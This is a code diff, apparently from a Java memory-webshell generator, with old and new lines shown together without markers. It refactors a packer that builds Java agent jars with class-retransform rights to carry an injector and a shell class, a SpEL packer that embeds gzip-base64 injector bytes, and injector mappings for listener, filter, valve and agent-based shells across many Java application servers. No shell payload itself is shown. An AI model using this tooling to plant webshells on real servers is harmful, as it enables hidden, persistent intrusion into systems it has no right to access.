|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
import java.util.Map;
|
import java.util.jar.JarEntry;
|
||||||
import java.util.jar.*;
|
import java.util.jar.JarFile;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.jar.Manifest;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/1
|
* @since 2025/1/1
|
||||||
*/
|
*/
|
||||||
public class AgentJarPacker implements JarPacker {
|
public class AgentJarPacker implements JarPacker {
|
||||||
private static Path tempBootPath;
|
|
||||||
|
static Path tempBootPath;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] packBytes(GenerateResult generateResult) {
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
String mainClass = generateResult.getInjectorClassName();
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
String advisorClass = generateResult.getShellClassName();
|
||||||
|
|
||||||
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
|
|
||||||
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
|
|
||||||
|
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
|
||||||
addDependencies(targetJar, relocatePrefix, isAsm);
|
|
||||||
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
|
|
||||||
}
|
|
||||||
|
|
||||||
return outputStream.toByteArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
private Manifest createManifest(String mainClass) {
|
|
||||||
Manifest manifest = new Manifest();
|
Manifest manifest = new Manifest();
|
||||||
Attributes attributes = manifest.getMainAttributes();
|
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||||
attributes.putValue("Manifest-Version", "1.0");
|
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
|
||||||
attributes.putValue("Agent-Class", mainClass);
|
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
|
||||||
attributes.putValue("Premain-Class", mainClass);
|
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
||||||
attributes.putValue("Can-Redefine-Classes", "true");
|
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||||
attributes.putValue("Can-Retransform-Classes", "true");
|
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
return manifest;
|
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
||||||
}
|
addDependency(targetJar, ByteBuddy.class);
|
||||||
|
|
||||||
@SneakyThrows
|
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
||||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
targetJar.write(generateResult.getInjectorBytes());
|
||||||
if (isAsm) {
|
targetJar.closeEntry();
|
||||||
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
|
|
||||||
} else {
|
|
||||||
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SneakyThrows
|
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
|
||||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
targetJar.write(generateResult.getShellBytes());
|
||||||
String relocatePrefix, boolean isRelocateEnabled) {
|
|
||||||
String dependencyPackage = isRelocateEnabled ?
|
|
||||||
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
|
||||||
|
|
||||||
// Add injector class
|
|
||||||
addClassEntry(targetJar,
|
|
||||||
generateResult.getInjectorClassName(),
|
|
||||||
generateResult.getInjectorBytes(),
|
|
||||||
dependencyPackage,
|
|
||||||
relocatePrefix,
|
|
||||||
isRelocateEnabled);
|
|
||||||
|
|
||||||
// Add shell class
|
|
||||||
addClassEntry(targetJar,
|
|
||||||
generateResult.getShellClassName(),
|
|
||||||
generateResult.getShellBytes(),
|
|
||||||
dependencyPackage,
|
|
||||||
relocatePrefix,
|
|
||||||
isRelocateEnabled);
|
|
||||||
|
|
||||||
// Add inner classes
|
|
||||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
|
||||||
addClassEntry(targetJar,
|
|
||||||
entry.getKey(),
|
|
||||||
entry.getValue(),
|
|
||||||
dependencyPackage,
|
|
||||||
relocatePrefix,
|
|
||||||
isRelocateEnabled);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
|
||||||
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
|
|
||||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
|
||||||
byte[] processedBytes = isRelocateEnabled ?
|
|
||||||
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
|
|
||||||
classBytes;
|
|
||||||
targetJar.write(processedBytes);
|
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
}
|
}
|
||||||
|
return byteArrayOutputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
|
||||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
||||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
String sourceUrlString = sourceUrl.toString();
|
String sourceUrlString = sourceUrl.toString();
|
||||||
@@ -132,16 +77,8 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
String entryName = entry.getName();
|
String entryName = entry.getName();
|
||||||
if (entryName.startsWith(packageToMove)) {
|
if (entryName.startsWith(packageToMove)) {
|
||||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
InputStream entryStream = sourceJar.getInputStream(entry);
|
||||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
|
||||||
if (relocate) {
|
|
||||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
|
||||||
if (bytes.length > 0) {
|
|
||||||
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
targetJar.putNextEntry(new JarEntry(entryName));
|
targetJar.putNextEntry(new JarEntry(entryName));
|
||||||
}
|
IOUtils.copy(entryStream, targetJar);
|
||||||
targetJar.write(bytes);
|
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
entryStream.close();
|
entryStream.close();
|
||||||
}
|
}
|
||||||
@@ -149,29 +86,27 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
sourceJar.close();
|
sourceJar.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Extracts a JAR file to a temporary directory
|
|
||||||
*
|
|
||||||
* @param jarPath Path to the source JAR file
|
|
||||||
* @param tempPath Path to the temporary directory
|
|
||||||
*/
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void unzip(String jarPath, String tempPath) {
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
Enumeration<JarEntry> entries = jarFile.entries();
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
while (entries.hasMoreElements()) {
|
while (entries.hasMoreElements()) {
|
||||||
JarEntry jarEntry = entries.nextElement();
|
JarEntry jarEntry = entries.nextElement();
|
||||||
File targetFile = new File(tempPath, jarEntry.getName());
|
String entryName = jarEntry.getName();
|
||||||
|
File file = new File(tempPath, entryName);
|
||||||
if (jarEntry.isDirectory()) {
|
if (jarEntry.isDirectory()) {
|
||||||
targetFile.mkdirs();
|
file.mkdir();
|
||||||
continue;
|
} else {
|
||||||
}
|
InputStream inputStream = null;
|
||||||
|
FileOutputStream outputStream = null;
|
||||||
targetFile.getParentFile().mkdirs();
|
try {
|
||||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
inputStream = jarFile.getInputStream(jarEntry);
|
||||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
outputStream = new FileOutputStream(file);
|
||||||
IOUtils.copy(inputStream, outputStream);
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
} finally {
|
||||||
|
IOUtils.closeQuietly(inputStream);
|
||||||
|
IOUtils.closeQuietly(outputStream);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -17,6 +17,6 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||||
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
.replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -45,7 +45,7 @@ public abstract class AbstractShell {
|
|||||||
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
|
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<ShellTool> getSupportedShellTools() {
|
public Set<ShellTool> getSupportedShellTools(){
|
||||||
return Collections.unmodifiableSet(map.keySet());
|
return Collections.unmodifiableSet(map.keySet());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -30,9 +30,8 @@ public class ApusicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, ApusicListenerInjector.class)
|
|
||||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
|
||||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||||
.build();
|
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, ApusicListenerInjector.class).build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,12 +18,11 @@ public class BesShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, BesListenerInjector.class)
|
|
||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, BesListenerInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -44,16 +42,14 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
|
||||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -24,16 +22,14 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
|
||||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -24,13 +22,11 @@ public class JbossShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
|
||||||
.addInjector(FILTER, JbossFilterInjector.class)
|
.addInjector(FILTER, JbossFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.*;
|
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -33,14 +36,13 @@ public class JettyShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, JettyListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
|
||||||
.addInjector(FILTER, JettyFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
|
||||||
.addInjector(SERVLET, JettyServletInjector.class)
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
|
.addInjector(FILTER, JettyFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, JettyListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.*;
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -28,11 +31,10 @@ public class ResinShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, ResinListenerInjector.class)
|
|
||||||
.addInjector(FILTER, ResinFilterInjector.class)
|
|
||||||
.addInjector(SERVLET, ResinServletInjector.class)
|
.addInjector(SERVLET, ResinServletInjector.class)
|
||||||
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, ResinListenerInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-3
@@ -23,11 +23,12 @@ public class ServerToolRegistry {
|
|||||||
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||||
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||||
|
|
||||||
for (String shellType : injectorSupportedShellTypes) {
|
for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
|
||||||
Class<?> shellClass = rawToolMapping.get(shellType);
|
String shellType = entry.getKey();
|
||||||
if (shellClass == null) {
|
if (!injectorSupportedShellTypes.contains(shellType)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
Class<?> shellClass = entry.getValue();
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
||||||
|
|||||||
+1
-1
@@ -17,9 +17,9 @@ public class SpringWebFluxShell extends AbstractShell {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
||||||
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
|
||||||
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
||||||
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
||||||
|
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
|
|||||||
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
